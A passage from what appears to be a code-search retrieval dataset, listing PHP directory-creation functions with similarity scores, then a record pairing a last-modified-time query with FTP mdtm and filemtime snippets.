FALSE;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}\n\n\t\t// Attempting to create the directory may clutter up our display.\n\t\tif (@mkdir($target))\n\t\t{\n\t\t\t$stat = @stat(dirname($target));\n\t\t\t$dir_perms = $stat['mode'] & 0007777; // Get the permission bits.\n\t\t\t@chmod($target, $dir_perms);\n\t\t\treturn TRUE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (is_dir(dirname($target)))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\n\t\t// If the above failed, attempt to create the parent node, then try again.\n\t\tif ($this->_mkdir(dirname($target)))\n\t\t{\n\t\t\treturn $this->_mkdir($target);\n\t\t}\n\n\t\treturn FALSE;\n\t}", "protected function createDir()\n\t\t{\n\t\t\t//si no existe la carpeta la creamos\n\t\t\tif (!file_exists($this->ruta))\n\t\t\t{\n\t\t\t\tmkdir($this->ruta,0777,true);\t\n\t\t\t}\n\t\t\t\n\t\t\tif (!file_exists($this->rutaMini))\n\t\t\t{\n\t\t\t\tmkdir($this->rutaMini,0777,true);\t\t\n\t\t\t}\t\n\t\t\t\t\n\t\t}", "function chdir($dir)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_chdir($this->_socket, $dir);\r\n \t} else {\r\n \t $this->putcmd(\"CWD\", $dir);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function CreateDirectory($dirname=false, $checkbase=TEMP_DIRECTORY, $permission=0755)\n{\n\tif (!$dirname) {\n\t\treturn false;\n\t}\n\n\tif (is_dir($dirname)) {\n\t\treturn true;\n\t}\n\n\t$dirname = str_replace($checkbase, '', $dirname);\n\n\t$parts = explode('/', $dirname);\n\t$result = false;\n\t$size = count($parts);\n\t$base = $checkbase;\n\tfor ($i = 0; $i < $size; $i++) {\n\t\tif ($parts[$i] == '') {\n\t\t\tcontinue;\n\t\t}\n\t\t$base .= '/' . $parts[$i];\n\t\tif (!is_dir($base)) {\n\t\t\t$result = mkdir($base, $permission);\n\t\t\tif (!$result) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tchmod($base, $permission);\n\t\t}\n\t}\n\treturn true;\n}", "public function testMakeDirectory()\n {\n $this->assertTrue(Storage::mkdir(self::$temp.DS.'created'));\n $this->assertTrue(is_dir(self::$temp.DS.'created'));\n }", "function mkdir_recursive($pathname, $mode) {\n\tis_dir(dirname($pathname)) || mkdir_recursive(dirname($pathname), $mode);\n\treturn is_dir($pathname) || @mkdir($pathname, $mode);\n}", "private function makeDirectory(): void\n {\n $this->directory = $this->simulation->fileAbsolutePath('correlations/' . $this->id);\n Utils::createDirectory($this->directory);\n }", "public function mkdir($path)\n {\n return FileHelper::mkdir($path);\n }", "public function createFolders() {\n $this->output('Current directory: ' . getcwd());\n\n // user folder.\n try {\n \\File::read_dir($this->repo_home . '/' . $this->user_id);\n $this->output('User directory already exist.');\n } catch (Exception $e) {\n $p = new Process('mkdir ' . $this->repo_home . '/' . $this->user_id);\n $p->run();\n $this->output('Created user Directory: ' . $this->user_dir);\n }\n $this->user_dir = $this->repo_home . '/' . $this->user_id;\n\n // repo folder.\n try {\n \\File::read_dir($this->user_dir . '/' . $this->deploy_id);\n $this->output('Repository directory already exist.');\n } catch (Exception $ex) {\n $p = new Process('mkdir ' . $this->user_dir . '/' . $this->deploy_id);\n $p->run();\n $this->output('Created repository directory: ' . $this->repo_dir);\n }\n $this->repo_dir = $this->user_dir . '/' . $this->deploy_id;\n }", "function mkdirV4($dir_name = null, $mode = 0777, $recursive = false){\n if ($dir_name == null){\n return false;\n }\n\n if($recursive){\n $check_dir = \"\";\n $dirs = explode('/', $dir_name);\n \n foreach($dirs as $tmp_dirs){\n if ($tmp_dirs == \"\"){\n continue;\n }\n $check_dir = $check_dir . $tmp_dirs . '/';\n if (is_dir($check_dir)){\n continue;\n } else {\n mkdir($check_dir, $mode);\n }\n }\n return is_dir($dir_name);\n } else {\n return mkdir($dir_name, $mode);\n } \n}", "public function createDirectories()\n {\n self::createDirectory($this->contentDirectoryPath);\n\n if ($this->staticPreviewIsEnabled())\n self::createDirectory($this->cacheDirectoryPath);\n }", "public static function createDirectory($dst,$mode=null,$recursive=false)\n\t{\n\t\tif($mode===null)\n\t\t\t$mode=0777;\n\t\t$prevDir=dirname($dst);\n\t\tif($recursive && !is_dir($dst) && !is_dir($prevDir))\n\t\t\tself::createDirectory(dirname($dst),$mode,true);\n\t\t$res=mkdir($dst, $mode);\n\t\t@chmod($dst,$mode);\n\t\treturn $res;\n\t}", "public function makeDir($dir = '')\n {\n if (!is_dir($dir) && $dir !== '') {\n mkdir($dir, 0777);\n }\n }", "public static function createTempDir()\n {\n self::removeTempDir();\n $tmpDir = self::getTempDir();\n @mkdir($tmpDir) or die('cannot create temp directory');\n }", "function createDir($dirName,$permit = 0777) \n\t{\n\t//\t$dirName .= \"/\";\n\t//\techo $dirName.\" \\n\";\n\t if(!is_dir($dirName)) { \n\t\t\tif(!mkdir($dirName,$permit)) \n\t\t\t\treturn false; \n\t\t} else if(!@chmod($dirName,0777)) { \n\t\t\treturn false;\n\t\t}\t\n\t return true;\n\t}", "private function createFileDir()\n\t{\n\t\t$this->fileDir = IMAGES.'uploads'.DS.$this->model.DS.$this->modelId;\n\t\t$this->imgDir = 'uploads/'.$this->model.'/'.$this->modelId;\n\t}", "function makeDir($UUID, $SUBDIR){\n #make a hash of the UUID\n $hash = md5($UUID);\n #specify the path to the directory to be made\n $dir = \"./\" . $SUBDIR . \"/\" . substr($hash,0,2) . \"/$hash\";\n # a if it already exits, return\n if(is_dir($dir)) { return $dir; }\n #otherwise, attempt to make it-\n if(!mkdir($dir,0777,true)){\n echo(\"Failed to create '$dir'. Function makeDir\\n\");\n return false;\n }\n else\n return $dir;\n}", "function makeAll($dir, $mode = 0777, $recursive = true) {\n\t\tif( is_null($dir) || $dir === \"\" ){\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\tif( is_dir($dir) || $dir === \"/\" ){\n\t\t\treturn TRUE;\n\t\t}\n\t\tif( cmfcDirectory::makeAll(dirname($dir), $mode, $recursive) ){\n\t\t\treturn mkdir($dir, $mode);\n\t\t}\n\t\treturn FALSE;\n\t\t\n\t\t# without callback algoritm, this algoritm may have some bugs\n\t\t//$path = preg_replace('/\\\\\\\\*|\\/*/', '/', $path); //only forward-slash\n\t\t/*\n\t\t$dirs=array();\n\t\t$dirs=explode(\"/\",$path);\n\t\t$path=\"\";\n\t\tforeach ($dirs as $element) {\n\t\t $path.=$element.\"/\";\n\t\t if(!is_dir($path) and strpos(':',$path)===false) { \n\t\t if(!mkdir($path) and !is_file($path)){ \n\t\t \t//echo something\n\t\t }\n\t\t } \n\t\t}\n\t\treturn true;\n\t\t*/\n\t}", "function create_user_dir(){\n\t$safeUserDir=bin2hex(random_bytes(4));\n\t$oldDir=getcwd();\n\tchdir(FS_PATH);\n\tif(mkdir(\"$safeUserDir\")) {\n\tchmod(\"$safeUserDir\",0755); //owner=r,w,x group=r,x other=r,x\n\tchdir($oldDir);\n\treturn \t$safeUserDir;\n\t} else {\n\t\tchdir($oldDir);\n\t\terror_log(\"create_user_dir: Could not create user directory in \".FS_PATH,0);\n\t\treturn false;\n\t}\n}", "function mkdir_recursive($pathname) {\n\tif ($pathname == '') {\n\t\treturn false;\n\t}\n\tis_dir(dirname($pathname)) || mkdir_recursive(dirname($pathname));\n\treturn is_dir($pathname) || @mkdir($pathname);\n}", "function Pico_FTPWritable($directory)\n{\n\t$path = explode('/', trim($directory, '/'));\n\t$start_path = getcwd();\n\n\t// get it at the beginning\n\t$ftp = Pico_GetFTPObject();\n\n\twhile ($folder = array_shift($path))\n\t{\n\t\tif (!is_dir($folder))\n\t\t{\n\t\t\t// make the folder\n\n\t\t\t// just make if parent happens to already be writable\n\t\t\t// this will help sites with no ftp\n\t\t\tif (is_writable(getcwd())) \n\t\t\t{\n\t\t\t\tmkdir($folder); \n\t\t\t\tchmod($folder, 0777);\n\t\t\t} \n\t\t\telse\n\t\t\t{\n\t\t\t\t// make it with ftp\n\t\t\t\tif ($ftp == false) { return false; }\n\n\t\t\t\ttry \n\t\t\t\t{\n\t\t\t\t\t$ftp->mkdir($folder);\n\t\t\t\t} \n\t\t\t\tcatch (Exception $e) \n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (!is_dir($folder)) { return false; }\n\t\t}\n\n\t\t// only 777 the LAST folder\n\t\tif ( (sizeof($path) == 0) and (!is_writable($folder)) )\n\t\t{\n\t\t\tif (is_writable(getcwd()))\n\t\t\t{\n\t\t\t\tchmod($folder, 0777);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ($ftp == false) { return false; }\n\n\t\t\t\ttry \n\t\t\t\t{\n\t\t\t\t\t$ftp->chmod($folder, 0777);\t\n\t\t\t\t} \n\t\t\t\tcatch (Exception $e) \n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\t\n\t\t\t}\n\t\t}\n\n\t\t// change into the folder so we can do the next folder up\n\t\ttry\n\t\t{\n\t\t\tif (is_object($ftp)) { $ftp->chdir($folder); }\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t$error_msg = $e->getMessage();\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tchdir($folder);\n\t}\n\n\t// go back to start, if we got this far all is well\n\tchdir($start_path);\n\treturn true;\n}", "public function testMkdirRecursive() {\n $testDirName = self::TEST_DIR . '/testMkdirRecursive/recursiveFlag';\n\n (new Directory($testDirName))->mkdir(true);\n\n $this->assertDirectoryExists($testDirName);\n }", "function cot_pfs_createfolder($ownerid, $title='', $desc='', $parentid='', $ispublic='', $isgallery='')\n{\n\tglobal $db, $db_pfs_folders, $cfg, $sys, $L, $err_msg;\n\n\tif ($title==='') \t\t$title = cot_import('ntitle','P','TXT');\n\tif ($desc==='') \t\t$desc = cot_import('ndesc','P','TXT');\n\tif ($parentid==='') \t$parentid = cot_import('nparentid','P','INT');\n\tif ($ispublic==='') \t$ispublic = cot_import('nispublic','P','BOL');\n\tif ($isgallery==='') \t$isgallery = cot_import('nisgallery','P','BOL');\n\n\tif(empty($title))\n\t{\n\t\t$err_msg[] = $L['pfs_foldertitlemissing'];\n\t\treturn 0;\n\t}\n\n\t$newpath = cot_translit_encode(mb_strtolower($title));\n\tif ($parentid > 0)\n\t{\n\t\t$newpath = cot_pfs_folderpath($parentid, TRUE).$newpath;\n\n\t\t$sql = $db->query(\"SELECT pff_id FROM $db_pfs_folders WHERE pff_userid=\".(int)$ownerid.\" AND pff_id=\".(int)$parentid);\n\t\t$sql->rowCount()>0 or cot_die();\n\t}\n\tif ($cfg['pfs']['pfsuserfolder'])\n\t{\n\t\tcot_pfs_mkdir($pfs_dir_user.$newpath) or cot_redirect(cot_url('message', 'msg=500&redirect='.base64_encode('pfs.php'), '', true));\n\t\tcot_pfs_mkdir($thumbs_dir_user.$newpath) or cot_redirect(cot_url('message', 'msg=500&redirect='.base64_encode('pfs.php'), '', true));\n\t}\n\n\t$db->insert($db_pfs_folders, array(\n\t\t'pff_parentid' => (int)$parentid,\n\t\t'pff_userid' => (int)$ownerid,\n\t\t'pff_title' => $title,\n\t\t'pff_date' => (int)$sys['now'],\n\t\t'pff_updated' => (int)$sys['now'],\n\t\t'pff_desc' => $desc,\n\t\t'pff_path' => $newpath,\n\t\t'pff_ispublic' => (int)$ispublic,\n\t\t'pff_isgallery' => (int)$isgallery,\n\t\t'pff_count' => 0\n\t));\n\treturn $db->lastInsertId();\n}", "protected static function _makeXPDir($src, $tgt, $dir)\r\n {\r\n \t$cmd = '';\r\n \tif ($dir) {\r\n \t\t$cmd = \"cd $dir & \";\r\n \t}\r\n /*\r\n * ignore this for instant\r\n if ('sync' != self::$op) {\r\n $cmd .= \"mkdir $tgt & \";\r\n }\r\n * update by Roy Gu 2010-11-14\r\n */\r\n \t// use external tool sync to sync directory\r\n $cmd .= Solar::$system.\"/toolkit/sync21/sync.bat $src $tgt\";\r\n \t// done!\r\n return exec($cmd);\r\n }", "public static function mkdirs($pathname, $mode = 0755)\n {\n is_dir(dirname($pathname)) || self::mkdirs(dirname($pathname), $mode);\n return is_dir($pathname) || @mkdir($pathname, $mode); // @codingStandardsIgnoreLine\n }", "function wp_mkdir_p($target)\n {\n }", "protected function _createDir($dir)\r\n\t{\r\n\t\tif ( substr($dir, -1) != DIRECTORY_SEPARATOR )\r\n\t\t\t$dir .= DIRECTORY_SEPARATOR;\r\n\t\tif (!is_dir($dir))\r\n\t\t\tmkdir($dir,0744,TRUE);\r\n\t\treturn $dir;\r\n\t}", "public function createDirectory($dir, $mode = 0777, $recursive = false)\n\t{\n\t\treturn $this->addAction(new CreateDirectory($dir, $mode, $recursive));\n\t}", "public function createTmpRootDir() : string {\n $chk = $this->chkE;\n if(!file_exists($this->tmpRootDir)) {\n $status = mkdir($this->tmpRootDir);\n if (! $chk->checkNotFalse($status,\"mkdir failed.\")) { return \"\"; }\n $this->tmpDirsCreated[] = $this->tmpRootDir;\n }\n return $this->tmpRootDir;\n }", "public static function create($path = '', $mode = 0755)\r\n\t{\r\n\t\t$FTPOptions = JClientHelper::getCredentials('ftp');\r\n\t\tstatic $nested = 0;\r\n\r\n\t\t// Check to make sure the path valid and clean\r\n\t\t$pathObject = new JFilesystemWrapperPath;\r\n\t\t$path = $pathObject->clean($path);\r\n\r\n\t\t// Check if parent dir exists\r\n\t\t$parent = dirname($path);\r\n\r\n\t\tif (!self::exists($parent))\r\n\t\t{\r\n\t\t\t// Prevent infinite loops!\r\n\t\t\t$nested++;\r\n\r\n\t\t\tif (($nested > 20) || ($parent == $path))\r\n\t\t\t{\r\n\t\t\t\tJLog::add(__METHOD__ . ': ' . JText::_('JLIB_FILESYSTEM_ERROR_FOLDER_LOOP'), JLog::WARNING, 'jerror');\r\n\t\t\t\t$nested--;\r\n\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\t// Create the parent directory\r\n\t\t\tif (self::create($parent, $mode) !== true)\r\n\t\t\t{\r\n\t\t\t\t// JFolder::create throws an error\r\n\t\t\t\t$nested--;\r\n\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\t// OK, parent directory has been created\r\n\t\t\t$nested--;\r\n\t\t}\r\n\r\n\t\t// Check if dir already exists\r\n\t\tif (self::exists($path))\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t\t// Check for safe mode\r\n\t\tif ($FTPOptions['enabled'] == 1)\r\n\t\t{\r\n\t\t\t// Connect the FTP client\r\n\t\t\t$ftp = JClientFtp::getInstance($FTPOptions['host'], $FTPOptions['port'], array(), $FTPOptions['user'], $FTPOptions['pass']);\r\n\r\n\t\t\t// Translate path to FTP path\r\n\t\t\t$path = $pathObject->clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $path), '/');\r\n\t\t\t$ret = $ftp->mkdir($path);\r\n\t\t\t$ftp->chmod($path, $mode);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t// We need to get and explode the open_basedir paths\r\n\t\t\t$obd = ini_get('open_basedir');\r\n\r\n\t\t\t// If open_basedir is set we need to get the open_basedir that the path is in\r\n\t\t\tif ($obd != null)\r\n\t\t\t{\r\n\t\t\t\tif (IS_WIN)\r\n\t\t\t\t{\r\n\t\t\t\t\t$obdSeparator = \";\";\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t$obdSeparator = \":\";\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// Create the array of open_basedir paths\r\n\t\t\t\t$obdArray = explode($obdSeparator, $obd);\r\n\t\t\t\t$inBaseDir = false;\r\n\r\n\t\t\t\t// Iterate through open_basedir paths looking for a match\r\n\t\t\t\tforeach ($obdArray as $test)\r\n\t\t\t\t{\r\n\t\t\t\t\t$test = $pathObject->clean($test);\r\n\r\n\t\t\t\t\tif (strpos($path, $test) === 0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$inBaseDir = true;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif ($inBaseDir == false)\r\n\t\t\t\t{\r\n\t\t\t\t\t// Return false for JFolder::create because the path to be created is not in open_basedir\r\n\t\t\t\t\tJLog::add(__METHOD__ . ': ' . JText::_('JLIB_FILESYSTEM_ERROR_FOLDER_PATH'), JLog::WARNING, 'jerror');\r\n\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t// First set umask\r\n\t\t\t$origmask = @umask(0);\r\n\r\n\t\t\t// Create the path\r\n\t\t\tif (!$ret = @mkdir($path, $mode))\r\n\t\t\t{\r\n\t\t\t\t@umask($origmask);\r\n\t\t\t\tJLog::add(\r\n\t\t\t\t\t__METHOD__ . ': ' . JText::_('JLIB_FILESYSTEM_ERROR_COULD_NOT_CREATE_DIRECTORY') . 'Path: ' . $path, JLog::WARNING, 'jerror'\r\n\t\t\t\t);\r\n\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\t// Reset umask\r\n\t\t\t@umask($origmask);\r\n\t\t}\r\n\r\n\t\treturn $ret;\r\n\t}", "function cemhub_create_directory($directory) {\n $return = FALSE;\n\n if (!is_dir($directory)) {\n if (!mkdir($directory, 0777, TRUE)) {\n watchdog('cemhub', 'Could not create directory: {$directory}');\n }\n else {\n $return = TRUE;\n }\n }\n\n return $return;\n}", "function mktemp($prefix = 'php', $dir = false) \n {\n if ($dir === false) {\n $cfg = VWP::getConfig();\n $dir = VPATH_BASE.DS.$cfg->temp_dir; \n $tempfile=tempnam($dir,$prefix);\n } else {\n $tempfile=tempnam($dir,$prefix);\n }\n \n if ($tempfile === false) {\n $err = error_get_last();\n return VWP::raiseError(\"tempnam($dir,$prefix) failed: \" . $err[\"message\"],\"VFolder\",null,false);\n }\n if (file_exists($tempfile)) { \n \tunlink($tempfile); \n }\n mkdir($tempfile);\n if (is_dir($tempfile)) { \n \treturn $tempfile; \n }\n return VWP::raiseError(\"Unable to create temporary directory $tempfile [$prefix,$dir]\",\"VFolder\",null,false);\n }", "public function createDirectory($name)\n {\n global $DB, $user;\n\n $transaction = $DB->start_delegated_transaction();\n try {\n $this->fileStorage->create_directory(\n $this->storedFile->get_contextid(),\n $this->storedFile->get_component(),\n $this->storedFile->get_filearea(),\n $this->storedFile->get_itemid(),\n $this->storedFile->get_filepath() . \"/$name/\",\n $user->id\n );\n // Invalidate the current children list\n $this->children = null;\n } catch (Exception $e) {\n $transaction->rollback(\n new Sabre_DAV_Exception('PoolDirectory:createDirectory() - '. $e->getMessage())\n );\n }\n $transaction->allow_commit();\n }", "function createFolder(string $foldername);", "function make_dirs($folder='',$mode=DIR_WRITE_MODE, $defaultFolder='uploads/'){\n\n if(!@is_dir(FCPATH . $defaultFolder)){\n mkdir(FCPATH . $defaultFolder, $mode);\n }\n if(!empty($folder)){\n\n if(!@is_dir(FCPATH . $defaultFolder . '/' . $folder)){\n mkdir(FCPATH . $defaultFolder . '/' . $folder, $mode,true);\n }\n } \n }", "public function createDir()\n\t{\n\t\tif (!Core_File::isDir($this->_dir))\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tCore_File::mkdir($this->_dir, CHMOD, TRUE);\n\t\t\t} catch (Exception $e) {}\n\t\t}\n\n\t\treturn $this;\n\t}", "public static function createUserDirectory($dir = false){\n\t\t\t\n\t\t\t$dir_created = false;\n\n\t\t\tif(!Params::directory($dir)){\n\t\t\t\treturn $dir_created;\n\t\t\t}\n\n\t\t\tif (!file_exists($dir)) {\n\t\t\t\tif(@mkdir($dir, 0300, true)){\n\t\t\t\t\t$dir_created = true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $dir_created;\n\n\t\t}", "private function createMkdirNode(string $directory): Node\n {\n $variable = new Variable(VariableTypes::$STRING_TYPE);\n $variable->setValue($directory);\n\n $port = (new Port((new PortMeta())->setType($variable->getType())))->setVariableValue($variable);\n\n $boxMeta = (new BoxMeta())->setName(MkdirBox::$MKDIR_TYPE);\n $box = (new MkdirBox($boxMeta))->setInputPort($port)->setDirectory($directory);\n\n return (new Node())->setBox($box);\n }", "function create_dir($dir){\r\n\t$arr = array($dir);\r\n\twhile(true){\r\n\t\t$dir = dirname($dir);\r\n\t\tif($dir == dirname($dir)){\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\t$arr[] = $dir;\r\n\t}\r\n\t$arr = array_reverse($arr);\r\n\tforeach($arr as $dir){\r\n\t\tif(!is_dir($dir)){\r\n\t\t\tmkdir($dir);\r\n\t\t}\r\n\t}\r\n}", "protected function createDirectory($path, $mode = 0777, $recursive = true)\n\t{\n\t\treturn mkdir($path, $mode, $recursive);\n\t}", "public function createDirectory(Directory $directory): void;", "public function createDir($name, $chmod){\n if( !file_exists($name) ){\n umask(0);\n return mkdir($name, $chmod);\n }//end if\n\n return true;\n }", "function newsItem_CreateDirektori( \n\t \t$tanggalhariini\n\t){\n \t\t$direktoribuat = \"filemodul/news/\" . \"file_item/\" . $tanggalhariini . \"/\";\n\t\t\t mkdir( $direktoribuat,'0777',true); \n\t\t\t chmod( $direktoribuat, 0777);\n\t\treturn $direktoribuat;\n\t}", "function makeDirectories()\n {\n $pathFolderStr = '';\n foreach ($this->nestedArray as $i => $part) {\n $pathFolderStr .= $part.'/';\n if (!is_dir($this->baseDestinationFolder.$pathFolderStr)) {\n mkdir($this->baseDestinationFolder.$pathFolderStr);\n }\n }\n }", "public function createFolder(string $token, string $path)\n {\n // Perform query\n $response = Elvis::query($token, 'createFolder', ['path' => $path]);\n\n return $response;\n }", "public function creer_dossier($dossier, $mode = false) {\n\t\t$CODE_RETOUR = false;\n\t\tif ($this->verifie_connexion ()) {\n\t\t\t$CODE_RETOUR = true;\n\t\t\t$dir = explode ( \"/\", $dossier );\n\t\t\t$path = \"\";\n\t\t\tfor($i = 0; $i < count ( $dir ); $i ++) {\n\t\t\t\t$path .= \"/\" . $dir [$i];\n\t\t\t\t//Si on arrive pas a changer de repertoire\n\t\t\t\tif (! @ftp_chdir ( $this->conn_id, $path )) {\n\t\t\t\t\t//On se met a la racine\n\t\t\t\t\t@ftp_chdir ( $this->conn_id, \"/\" );\n\t\t\t\t\t//et on creer le repertoire voulu\n\t\t\t\t\tif (! ftp_mkdir ( $this->conn_id, $path )) {\n\t\t\t\t\t\t$this->onInfo ( \"Erreur sur le dossier \" . $path );\n\t\t\t\t\t\t$this->_reconnect ();\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ($mode !== false) {\n\t\t\t\t\t\t\t$mode = octdec ( str_pad ( $mode, 4, '0', STR_PAD_LEFT ) );\n\t\t\t\t\t\t\t@ftp_chmod ( $this->conn_id, ( int ) $mode, $path );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $CODE_RETOUR;\n\t}", "public function cd($path)\n {\n // Go to root folder\n if (!ftp_chdir($this->handle, $path)) {\n return $this->log('Remote folder[##] not found', $path);\n }\n\n // Check if we can write there\n if (!$this->isWritable()) {\n return $this->log('Remote path [##] is not writable', $path);\n }\n\n $this->log('Switching to [##] folder', $path);\n\n // Store current folder\n $this->currentFolder = ftp_pwd($this->handle);\n\n return true;\n }", "public function createDir($mDir, $iMode = Chmod::MODE_ALL_EXEC)\n {\n if (is_array($mDir)) {\n foreach ($mDir as $sDir) {\n $this->createDir($sDir);\n }\n } else {\n if (!is_dir($mDir)) {\n if (!@mkdir($mDir, $iMode, true)) {\n $sExceptMessage = 'Cannot create \"%s\" directory.<br /> Please verify that the directory permission is in writing mode.';\n throw new PermissionException(\n sprintf($sExceptMessage, $mDir)\n );\n }\n }\n }\n }", "function wpdev_mk_dir($path, $mode = 0777) {\r\n\r\n if (DIRECTORY_SEPARATOR == '/')\r\n $path=str_replace('\\\\','/',$path);\r\n else\r\n $path=str_replace('/','\\\\',$path);\r\n\r\n if ( is_dir($path) || empty($path) ) return true; // Check if directory already exists\r\n if ( is_file($path) ) return false; // Ensure a file does not already exist with the same name\r\n\r\n $dirs = explode(DIRECTORY_SEPARATOR , $path);\r\n $count = count($dirs);\r\n $path = $dirs[0];\r\n for ($i = 1; $i < $count; ++$i) {\r\n if ($dirs[$i] !=\"\") {\r\n $path .= DIRECTORY_SEPARATOR . $dirs[$i];\r\n if ( !is_dir($path) && ( strpos($_SERVER['DOCUMENT_ROOT'],$path)===false ) ) {\r\n if (!is_dir($path) && !( mkdir($path, 0777) ) ) {\r\n return false;\r\n }\r\n /*@ chmod( $path, 0777 );*/\r\n }\r\n }\r\n }\r\n return true;\r\n }" ]
[ "0.71151584", "0.7105565", "0.70791787", "0.6265507", "0.6190882", "0.60660094", "0.60406035", "0.5926991", "0.58535254", "0.5806954", "0.5803135", "0.57469445", "0.57178473", "0.5682209", "0.565126", "0.56398547", "0.56103003", "0.55971396", "0.55742157", "0.5567719", "0.55634737", "0.5533986", "0.5521345", "0.5470739", "0.54624474", "0.5461355", "0.54604524", "0.54567486", "0.5445076", "0.542555", "0.54045117", "0.5395082", "0.5392128", "0.5382969", "0.5371124", "0.536837", "0.53447694", "0.533365", "0.53272754", "0.5287559", "0.5279872", "0.52741843", "0.527123", "0.5267263", "0.52636707", "0.52595323", "0.5255524", "0.5255423", "0.52273256", "0.51977247", "0.5196984", "0.5192352", "0.5179", "0.5169156", "0.51670396", "0.5165843", "0.5149687", "0.5146117", "0.5130805", "0.5121251", "0.5119269", "0.5115422", "0.50936586", "0.5088828", "0.5053027", "0.5043403", "0.50432354", "0.5036347", "0.5033591", "0.5027281", "0.50046116", "0.49945894", "0.49902648", "0.49892142", "0.49822068", "0.4980885", "0.4977217", "0.49574453", "0.49526864", "0.49504173", "0.4947338", "0.49465352", "0.49390763", "0.4937915", "0.49344543", "0.4932139", "0.49306998", "0.492441", "0.4921434", "0.49207526", "0.49190032", "0.4916198", "0.49134135", "0.49120846", "0.49117607", "0.4910567", "0.49102566", "0.49055", "0.48992077", "0.48941526" ]
0.6003169
7
Returns the last modified time of the given file Note: Not all servers support this feature! Note: mdtm method does not work with directories.
public function mdtm($file) { if ($this->getActive()) { // get the last modified time $buff = ftp_mdtm($this->_connection, $file); if ($buff != -1) { return $buff; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getFileMtime($file){\n\n if ($file){\n\n $stat = stat($file);\n return $stat['mtime'];\n\n } else {\n\n return time();\n }\n\n }", "public function mtime( $file ) {\n\t\treturn ftp_mdtm( $this->link, $file );\n\t}", "public function getMTime() {\n\t\tif ($this->isDir()) {\n\t\t\t$mtime = filemtime($this->path);\n\t\t\tif (false === $mtime) {\n\t\t\t\tthrow new Zwas_Exception(new Zwas_Text(Zwas_Translate::_('Error getting the mtime for \\'%s\\''), array($this->path)));\n\t\t\t}\n\t\t} else {\n\t\t\t$mtime = 0;\n\t\t}\n\t\n\t\treturn $mtime;\n\t}", "public function getLastModified() {\n\t\treturn filemtime($this->filename);\n\t}", "public function getLastModified()\n {\n return filemtime($this->getFileName());\n }", "public function getMTime() {\n\t\treturn filemtime($this->getPath());\n\t}", "public static function last_updated($file)\n\t{\n\t\treturn filemtime($file);\n\t}", "private function _lastModified ($file)\n {\n return filemtime($file);\n }", "function mdtm($file, $format = null) {\r\n\t\t$file = $this->_constructPath($file);\r\n\t\tif ( $this->_checkRemoteDir($file) !== false ) {\r\n\t\t\tthrow new ftpMdtmException(\"Filename '$file' seems to be a directory.\");\r\n\t\t}\r\n\t\t$res = @ftp_mdtm($this->_handle, $file);\r\n\t\tif ( $res == -1 ) {\r\n\t\t\tthrow new ftpMdtmException(\"Could not get last-modification-date of '\" . $file . \"'.\");\r\n\t\t}\r\n\t\tif ( $format !== null ) {\r\n\t\t\t$res = date($format, $res);\r\n\t\t\tif ( !$res ) {\r\n\t\t\t\tthrow new ftpMdtmException(\"Date-format failed on timestamp '\" . $res . \"'.\");\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $res;\r\n\t}", "function getLastModified()\n {\n $this->loadStats();\n return $this->stat['mtime'];\n }", "public function getLastModifiedTime();", "public function getLastModified()\n {\n return ($this->item['mtime'] ? $this->item['mtime'] : ($this->item['ctime'] ? $this->item['ctime'] : time()));\n }", "private function _lastChanged ($file)\n {\n return filectime($file);\n }", "public function mtime();", "public function getModificationTime()\n {\n return $this->fileStructure->mtime;\n }", "public static function time($file)\n {\n return filemtime(self::path($file));\n }", "public function getModifiedTime()\n\t{\n\t\tif(!$this->__isFile())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn filemtime($this->_path);\n\t}", "public function lastModification( ) {\n\n\t\treturn file_exists( $this->_path )\n\t\t\t? filemtime( $this->_path )\n\t\t\t: 0;\n\t}", "public function mtime(string $file)\n {\n return $this->mtimes[$file] = (int) smbclient_getxattr($this->state, $file, 'system.dos_attr.write_time');\n }", "public function getModificationTime()\n {\n return ( $this->mtime ? $this->mtime : self::dosFormatToTimestamp( array( $this->lastModFileTime, $this->lastModFileDate ) ) );\n }", "public function lastModifiedTime(): int\n {\n if (isset($this->lastModifiedTime)) {\n return $this->lastModifiedTime;\n }\n return FileSystem::lastModifiedTime($this->path);\n }", "public function getLastModified() {\n $cache = $this->getCache();\n\n $lastModified = 0;\n foreach ($cache['files'] as $mtime) {\n $lastModified = 